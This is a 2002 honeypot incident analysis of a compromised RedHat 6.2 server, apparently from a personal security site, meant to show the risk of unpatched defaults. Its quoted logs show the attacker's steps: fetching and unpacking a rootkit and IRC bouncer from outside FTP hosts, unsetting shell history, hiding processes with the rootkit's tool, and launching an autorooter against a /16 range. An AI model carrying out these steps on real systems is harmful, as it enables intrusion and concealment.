Back to Holcroft.org.
Incident Analysis of a Compromised RedHat Linux 6.2 Honeypot
Stephen Holcroft, April 2002
was the fourth honeypot
system I had put into production, my honeypot had been offline for a couple
weeks prior to this incident while I made a few changes to the way syslog
worked and installed a bash keystroke logger. If you want to learn more details
on how I set-up my honeypot then please read my paper
describing my particular method of implementation.
I would encourage anyone who has the time and resources to set-up a honeypot to do so, I guarantee you will learn a great deal about the way hackers think and act, you will also learn about the particular operating system the honeypot runs on in detail, you will learn about the methods the hacker uses, ssh, telnet, irc... the list of things you will learn is endless. By setting up a honeypot and writing about it you will also contribute your knowledge to the general community, hopefully making the internet a bit more of a safer place to lurk.
previous three honeypots had all been RedHat 6.2
default server installs and had all been hacked using exploits in rpc.statd or wuftpd. RedHat 6.2 seems to be a reasonable representation of the operating
systems that exist out on the internet at the moment, although 6.2 is pretty
dated there are still a lot of copies floating around as I found out when I
asked a colleague for a copy of RedHat. This is going
to be my last Redhat 6.2 honeypot after this I will
move onto pastures new, perhaps a Windows machine or a later version of Redhat.
This is the first time I have decided to write an incident analysis of what happened, mainly to inform people of the risk that default installations of any operating system pose and also so I can better understand exactly what happened. Putting things down on paper seems to clarify things better than trying to work everything out in your head.
This main body of this paper will take the form of a time line of events to make easier reading and will be divided into four phases:
restarted syslog on the remote syslog server on March 31st at 13:30 to accept
remote messages from the honeypot.
Mar 31 13:30:07 excelsior syslogd 1.4.1: restart (remote reception).
I reloaded the firewall policy at 14:08 to allow complete access to the honeypot from the internet.
It wasn't long before activity started to take place, in fact it started a lot quicker than I had anticipated. The firewall was pinged at 14:11 and then the fun started. At 14:25.02 both networks were scanned on tcp port 111, this port is used to connect to the honeypots RPC (Remote Procedure Call) services, RPC includes services like rstatd, ypbind and mountd.
The fact that both networks had been scanned and that they had been scanned in such a way that it followed the IP address range from start to finish makes me believe this was an automated scanning/rooting tool, both my subnets had almost certainly been part of a larger scan, which would have been scanning multiple subnets looking for vulnerable hosts.
As you can see from log no. 4 our friend partly found what he was looking for a system that accepted connections to port 111. The snort logs show the same information, the time stamps are slightly different due to the clocks being out of sync between the honeypot,syslog server and the firewall, I must add NTP (Network Time Protocol) onto my todo list.
Next a connection was initiated to udp port 111 (sunrpc).
Log no.5 the udp GETPORT CALL request by the hacker was used to ask what port statd was running on the GETPORT REPLY given by the honeypot was port 947. This request can be seen in the snort logs. Ethereal showed me the portmap parts of the request.
The hacker had now found that our honeypot was running rpc and that we were also running statd on udp port 947. This was all the info he needed, all that was left was to see if the version of statd running on the honeypot was vulnerable.
Lets now look at how the hacker exploited our honeypot, at
14:25.02 our hacker connected to udp port 947 (rpc statd).
The hacker then sends malicious shell code to the statd service that forces the program to initiate a shell prompt /bin/sh running as root on tcp port 39168. If you look at this snort log it shows the data being sent to the port. If you look at the bottom of each of the three packets you can see the /bin/sh part being sent.
The statd exploit used is an exploit that has been around for a while and is well documented on the internet. Details of the exploit and the code are available at http://online.securityfocus.com/bid/1480, you should try to hook up a couple of Linux servers and test it, its pretty neat to see how it works.
To put it very basically the way the exploit works is, it screws up the way statd and syslog work together and makes syslog execute code as root (/bin/sh). The syslog's from the honeypot show syslog having a very hard time.
The time stamps are pretty interesting, we first notice the scan at 14:25.02, our friend initiates a tcp connection to the honeypot on port 111 at 14:25.02 and then a udp connection to port 947 at 14:25.02 to execute the expolit. Hang on I hear you say how can this be, does our friend have the ability to type at light speed? I doubt it, I am almost certain our friend used what's called an autorooter, an automated tool that scans, probes, attacks and roots vulnerable systems. It scans networks and then attacks any host running the statd service, it does not care about the operating system type. It would attack a game boy running statd given half the chance, more about autorooters later in the paper.
This makes the prediction of such an event almost impossible, you will almost certainly have no for warning of the attack as the scan, portmap request and exploit all take place at the same time. Our friend makes no attempt to learn about our system before the attack, he does not care what it is used for, where it is, who owns it, which operating system it runs etc.. The attack is completely random, our honeypot just happened to sit within the network range his autorooter was configured to search in. Gone are the days when hackers socially engineered their targets, carefully picked the sites they wished to hack and attempted to use their skills to exploit vulnerabilities never seen before. Enter the script kiddie, they have no agenda apart from to hack as many hosts as easily as possible, they use exploits written by others which they often they have no understanding of.
Admittedly thats not always the case, I am sure there are still people out there who do use more advanced methods, but my guess is these are few and far between.
Enough rambling, so what next, well our friend has just made the honeypot spawn a root shell on tcp port 39168, it's time for him to connect to his new prize and cover his tracks.
The autorooter has given our friend the root prompt he wanted
so much, it time to cover his tracks and install a backdoor to connect to, after all he doesn't want us to discover him and shut
down his new server.
The autorooter scans the networks again just in case it missed any other vulnerable hosts the first time. Logs seven and thirteen show our friend connected to the honeypot on tcp port 39168 his new root prompt, I am able to track his next moves using the Ethereal program. As the connection is a non-encrypted connection like telnet his keystrokes can be recorded by Ethereal. The following Ethereal log shows us exactly what the hacker see's and how he installs the rootkit. By the way I may be wrong presuming the hacker is a male, he could be for all I know a female.
The hacker makes double sure he is root by issuing the "id" command, then proceeds to ftp to geocities ftp server and downloads his rootkit. Incidentally all three previous hackers of my honeypot have all retrieved rootkits from geocities, it makes me wonder just how many rootkits are stored on their servers, I would guess at thousands!
Name (ftp.geocities.com:root): Hash mark printing on (1024 bytes/hash mark).
He then unpacks his rootkit and starts the install:-
tar -xvzf rk1010.tgz
If you read the Ethereal log it shows the rootkit installing, it looks like the rootkit that was installed is a variant of the adore rootkit by written by Stealth. It installs its programs in /dev/~tty, it also installs a backdoor version of sshd. It is kind enough to kill rpc and ftp after all our friend wouldn't want anyone to hack us would he!
It tries to kill and replace syslogd, however I had removed syslog and then compiled my own version making it read from a different configuration file not /etc/syslog.conf, a copy of the original conf file is left in /etc. I had also copied /usr/bin/syslogd to a new file name and run syslogd from the new file name. Therefore as far as the rootkit could tell syslogd was not running so it could not kill it, it may have replaced /usr/bin/syslogd with a trojan version but that did not matter as syslogd was still running as a different file/process. If the rootkit had tried to start its new trojan version it would not be able to do so as my one was already running. Looking at the install log the rootkit tries to kill syslogd five times before giving up.
If you look at the bottom of the rootkit install it tells the hacker that ssh is running on port 1010, the root directory is /dev/~tty and that in order to hide a file he can issue the command ./ava h "path to file". If he wants to hide a process he can issue the command ./ava i "process id".
# ssh ports: 1010 #
# --------------------------------- #
# r00t dir: .[1;33m/dev/~tty .[1;37m #
# .[1;32m---------------------------------.[1;37m #
# .[0;31mHidding device.[1;37m #
# --------------------------------- #
# .[1;33mcd /dev/~tty/adore.[1;37m #
# .[1;33m./ava h(hide) /path/file.[1;37m #
# .[1;33m./ava i(invisible) PID.[1;37m #
This allows our friend to install and run programs on the honeypot and hide them from view. So what programs did the rootkit modify/replace? Well Tripwire can give us a pretty good idea of what was changed this log is what has changed on the honeypot according to tripwire. As you can see the rootkit has been very busy, it has modified the usual system binaries including ps, top, netstat, locate, w, in order to hide various bits of information from any users.
It has installed ssh, so our friend can connect to the honeypot without using telnet, that way all the traffic is encrypted and can't be looked at using Ethereal. As expected syslogd has also been modified however as previously explained this has not helped our friend as we have our own version of syslogd still running and logging remotely.
The following line was added to /etc/hosts.allow, "portmap: localhost" and the following line was added to /etc/hosts.deny, "portmap: ALL" thus making sure no one can connect to portmap from the internet.
So now our friend has secured the honeypot, he has replaced system binaries so hide his and his files presence. He has added a backdoor via ssh and also gone through all the system logs removing any traces of himself. As far as he is aware he now has complete control over the system and he is invisible. So what next, why did our friend hack us, what does he have in store for our server?
still not sure why but logs twenty and twenty one show the honeypot initiating
an outbound connection on tcp port 10000. I do not
know the purpose of this and our friend did not issue any commands on the
honeypot to do this, the only thing I can think of is this is somehow part of
the rootkit install script. The connections were blocked on the firewall.
Eager to try out his new ssh connection, our friend ssh's to our honeypot on port 1010 as advised by the rootkit. This time however he comes from a different address, is this the hackers real IP address? Was he actually behind that machine? Well there is a pretty good chance he is after all as far as he is aware there is no one on the honeypot, he is completely hidden and there is no trace of him left. On the other hand he could just be coming from another hacked machine, your guess is as good as mine.
Now that our friend is using ssh I am not able to trace his commands using Ethereal or Snort as the data is encrypted. Instead I turn to the bash keystroke logger I installed on the honeypot. Details of which can be found on my honeypot paper. The keystroke logger is exactly that, it logs the keystrokes made by someone using the bash shell. In actual fact it also logs the keystrokes of anyone using the tcsh, sh or ksh shell as I removed them and statically linked them to the bash shell. The logs are sent via syslog to the remote syslog server.
The following log is details of our friends keystrokes after he ssh's to the honeypot.
Our friend starts by un-setting the bash history file, making sure that no one can review the bash history. He then changes directory to his rootkits main directory /dev/~tty. Next he starts an ftp session to snow.prohosting.com.
Mar 31 14:32:49 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 unset HISTFILE
Mar 31 14:32:52 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 unset HISTSAVE
Mar 31 14:32:57 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd /dev/~tty
Mar 31 14:32:58 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ls
Mar 31 14:33:08 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ftp snow.prohosting.com
What's the purpose of the ftp session, Ethereal shows us what our friend does in this log. He downloads the file "compilatpsy.tgz" and then quits. Our friend then proceeds to unpack and then delete the file:
Mar 31 14:34:22 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 tar -xvzf compilatpsy.tgz
Mar 31 14:34:32 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ping www.yahoo.com -c5
Mar 31 14:34:44 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ping www.altavista.com -c5
Mar 31 14:34:58 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 tar -xvzf compilatpsy.tgz
Mar 31 14:35:05 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 rm -rf compilatpsy.tgz
The file compilatpsy.tgz contains the psyBNC 2.2.2 program, more about that later. He also tries to ping two sites on the internet but this is blocked by the firewall. Not deterred our friend continues:
Mar 31 14:35:09 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 mv psybnc .crond
Mar 31 14:35:12 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd .crond
Mar 31 14:35:15 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 pico psybnc.conf
Mar 31 14:35:25 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ./psybnc
Mar 31 14:35:25 honeypot modprobe: modprobe: Can't locate module net-pf-10
Our friend then moves the psybnc directory to .crond. He then enters the .crond directory and edits the psybnc.conf file and starts the program. Psybnc is a proxy program for IRC, it runs on the honeypot listening on a port defined in psybnc.conf, in this case it listens on tcp port 2229. When our friend starts his IRC program he can configure it to bounce his messages off our honeypot. What advantages does this have, well it allows him to remain anonymous, everyone on IRC sees him coming from our honeypot IP address, he can close his IRC client but still remain connected to the channel via our honeypot, this allows him to keep his nick and operator status.
Mar 31 14:35:28 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd ..
Mar 31 14:35:31 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd adorw
Mar 31 14:35:33 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd adore
Mar 31 14:35:36 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ./ava i 22745
Mar 31 14:35:40 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd ..
Our friend then hides his psybnc process by issuing the command "./ava i (proess id)" this little utility was installed as part of the root kit.
This is where things start to get nasty.
Mar 31 14:35:49 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 tar -xvzf scaners.tar.gz
Mar 31 14:35:51 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd scaners
Our friend unpacks the scaners file and enters the directory. The scaners directory as you can imagine contains a particularly unpleasant set of files, the following directory listing gives you an idea of whats in it:-
[root@localhost scaners]# ls -la
drwxr-xr-x 7 root root 1024 Mar 20 14:10 .
drwxr-xr-x 6 30 root 1024 Mar 31 18:01 ..
drwxr-xr-x 2 501 501 1024 Mar 31 17:56 bindscan
drwxr-xr-x 8 root root 1024 Mar 20 13:03 massrooterII
drwxr-xr-x 2 406 root 1024 Mar 31 12:45 ns
drwxr-xr-x 4 root root 1024 Mar 11 2000 nss
drwxr-xr-x 2 root root 1024 Mar 31 16:55 statdX2
Within the directories are a collection of autorooters and exploits for bind, rpc, ftp, ssh and telnet. There are also scanners intended to scan both unix and windows machines on a whole host of different services.
Mar 31 14:35:52 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ls
Mar 31 14:35:56 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd ns
Mar 31 14:35:57 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ls
Mar 31 14:36:01 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ./install
Mar 31 14:36:02 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ls
Mar 31 14:36:06 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd ..
Mar 31 14:36:08 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd nss
Mar 31 14:36:09 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ls
Mar 31 14:36:13 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd nss
Our friend then enters the ns directory and tries to install the ns scanner, this appears to be a bind version scanner. Our friend then leaves the directory, it appears they were not able to install the scanner correctly. I checked this by running install myself and sure enough it throws up error messages:-
[root@localhost ns]# ./install
binfo-udp.c: In function `main':
binfo-udp.c:52: warning: return type of `main' is not `int'
Done installing. ns.sh is ready to run. [root@localhost ns]#
Mar 31 14:36:14 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ls
Mar 31 14:36:17 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ./nss
Mar 31 14:36:24 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ./nss 128.100
Mar 31 14:36:27 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ./nss 128.100 -h
Mar 31 14:36:32 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ./nss 128.100 -l
Still un-deterred our friend enters the nss directory, nss (Narrow Security Scanner) is as the helpfile explains a scanner that scans hosts for the latest security vulnerabilities. Already compiled our friend tries to run nss, he is however unable to get the command line syntax correct and after a couple of attempts gives up. He really isn't having much luck.
Mar 31 14:36:34 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd ..
Mar 31 14:36:34 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ls
Mar 31 14:36:38 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd sc
Mar 31 14:36:39 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 cd statdX2/
Mar 31 14:36:43 honeypot -bash: BASH2 HISTORY: PID=22713 UID=0 ./scan 128 100
Mar 31 14:46:06 honeypot -bash: BASH2 HISTORY: PID=22790 UID=0 unset HISTFILE
Next our by now probably slightly annoyed friend moves to the statdX2 directory, this contains the following files:-
[root@localhost statdX2]# ls -la
drwxr-xr-x 2 root root 1024 Mar 31 16:55 .
drwxr-xr-x 7 root root 1024 Mar 20 14:10 ..
-rw-r--r-- 1 1001 1001 1790 Oct 7 2000 gdb.txt
-rwxr-xr-x 1 root root 15787 Mar 31 16:55 luckscan-a
-rw-r--r-- 1 root root 4806 Mar 20 13:00 luckscan-a.c
-rwxr-xr-x 1 root root 22208 Mar 31 16:55 luckstatdx
-rw-r--r-- 1 1001 1001 14379 Sep 18 1998 luckstatdx.c
-rwxr-xr-x 1 root root 1597 Mar 20 13:03 scan
He runs the scan program with the syntax ./scan 128 100. This will scan the 22.214.171.124/16 network range looking for hosts that are vulnerable to the rpc.statd exploit and will automatically exploit them. A write up of exactly how the autorooter works can be seen at project.honeynet.org. This is probably the exact same method used to exploit my honeypot. Immediately after running this command the honeypot begins scanning thousands of hosts on tcp port 111. This can be seen by looking at the Checkpoint firewall logs:
As you can see the power of the program is pretty impressive, it has tried to scan seventy seven thousand, eight hundred and sixty seven hosts in just under 6 minutes, had the firewall not blocked these connections the honeypot could have been used to scan and root tens if not hundreds of hosts in a very short amount of time.
The scan is the last command our friend issues on the honeypot, he does however connect to the honeypot using his IRC client on tcp port 2229, as described earlier our friend had set up psybnc to listen on that port.
As you can see our friend connects to the honeypot on port tcp-2229, he had configured his psybnc.conf file to make the honeypot connect to the IRC server babble-on.systems.cais.net, however this was blocked on the honeypot. I wanted to see what he was up to on IRC so I quickly amended the firewall policy to allow the honeypot outbound access on tcp port-6667, this is the port commonly used to connect to IRC servers. I knew that if he connected he would be bouncing his messages through my honeypot, as IRC is not usually encrypted I would be able to capture the conversations using Snort or Ethereal.
The following Ethereal log shows what our friend see's when he connected to our honeypot on port 2229 he sets up psybnc to connect to two IRC servers:-
addserver moscow.ru.eu.undernet.org:port 6667 (password: None) added.
Our friend is blocked a few more times before I make the policy change and he connects to undernet.rt.ru, this is his second choice IRC server in the psybnc.conf file, used if the first choice fails to connect.
Once connected to the undernet IRC server through our honeypot our friend joins three hacker channels, all of which are Romanian, he also joins a music channel. During the next two hours using Ethereal I observe conversations on all the channels. I was hoping to learn a lot from the conversations; unfortunately they were all in Romanian!
Although I was not able to read the conversations I did manage to find a translation program on the Internet and using this was able to translate a few words to get the general meaning of the conversations. Our friend seemed to be pretty high up in the general pecking order of the different channels as he held operator status on all three and was constantly being asked to elevate others to operator status.
He privately talked a lot to two other individuals mainly about their achievements (if you can call them that), and they frequently exchanged details of machines they had exploited. This was done at an alarming rate, they exchanged new hacks at a rate of about 3 every half hour! The following Ethereal log shows one of those exchanges, I have removed all participants details to protect the identity of the honeypot.
After observing these conversations for around two hours I decided the honeypot had served its purpose, I was unlikely to learn any more through the IRC conversations, and I had already learned the methods used to exploit the honeypot and conceal any traces of the exploit. I knew why the honeypot had been exploited. I amended the firewall policy to block any outbound or inbound connections to or from the honeypot and also terminated any existing connections to and from the honeypot. <br
During the course of the next 3 days our friend tried to connect back to the honeypot, five times using ssh and twice using telnet, I decided not to allow any further activity as I had already ran tripwire and had been exploring the honeypot extensively, allowing our friend back would almost certainly have aroused suspicions and I did not want our friend to ever know he had been on a honeypot.
think this exercise goes to show just what a danger default installations pose
to the machine they are installed on and the rest of the internet community. In
this instance the honeypot was scanned, exploited and had a rootkit installed
after just twenty six minutes of being connected to the internet.
So how long on average does a default server installation of Redhat 6.2 last on the internet? The last three honeypots had all been default Redhat 6.2 installs they had been hacked in the following times:-
1. 8hrs 32 min's
2. 52hrs 54 min's
3. 64hrs 23 min's
4. 26 min's
My basic knowledge of math's tells me that the average is 1 day 7 hours 27 min's, this is by no means supposed to be an accurate attempt to determine exactly how long a server will last but it gives you an idea what you can expect. It really is just luck, best case scenario a server might last a few days, a week if you are extremely lucky, worst case scenario it will scanned and rooted the instance its connected to the internet, before you can even type errata into your browser. How ever long it takes one thing is for sure, if you put an un-patched, default Redhat 6.2 server installation on the internet it WILL be hacked, don't kid yourself.
So how could this have been prevented, well to start with don't install out dated versions of an operating system, you can purchase new versions of Redhat CD's on the internet for very small amounts of money, even better do what I do and download it from one of the Redhat mirror sites, it takes me 40 minutes to download 6.2 server on my DSL connection. Newer versions with GUI interfaces will take a bit longer.
Never connect your machine to the internet without some kind of firewall either in front of the machine or on the machine itself. The newer versions of Redhat allow you to configure a firewall when its installed, make sure the firewall blocks all connections to the honeypot before you connect it. After you connect your machine go to the Redhat site and download the latest errata. Redhat now have the Redhat network facility that lets you automatically schedule updates when they become available, I advise you to make use of this facility. There are numerous sites on the internet that deal with securing Redhat, just type securing Redhat Linux into a browser and take your pick, read, read and read some more that way you will develop the knowledge needed to secure you system.
It's everyone's responsibility to make the security of their systems a priority.
This webpage was written by Stephen Holcroft of Bluefish Computer Services, we offer the best computer repair in Chichester, contact us for laptop, PC and desktop services.
Home Page: http://www.ethereal.com
Snort Home Page: http://www.snort.org
Tripwire Home Page: http://www.tripwire.org
Multiple Linux Vendor rpc.statd Remote Format String Vulnerability: www.securityfocus.com/bid/1480
The Honeynet Project: http://project.honeynet.org/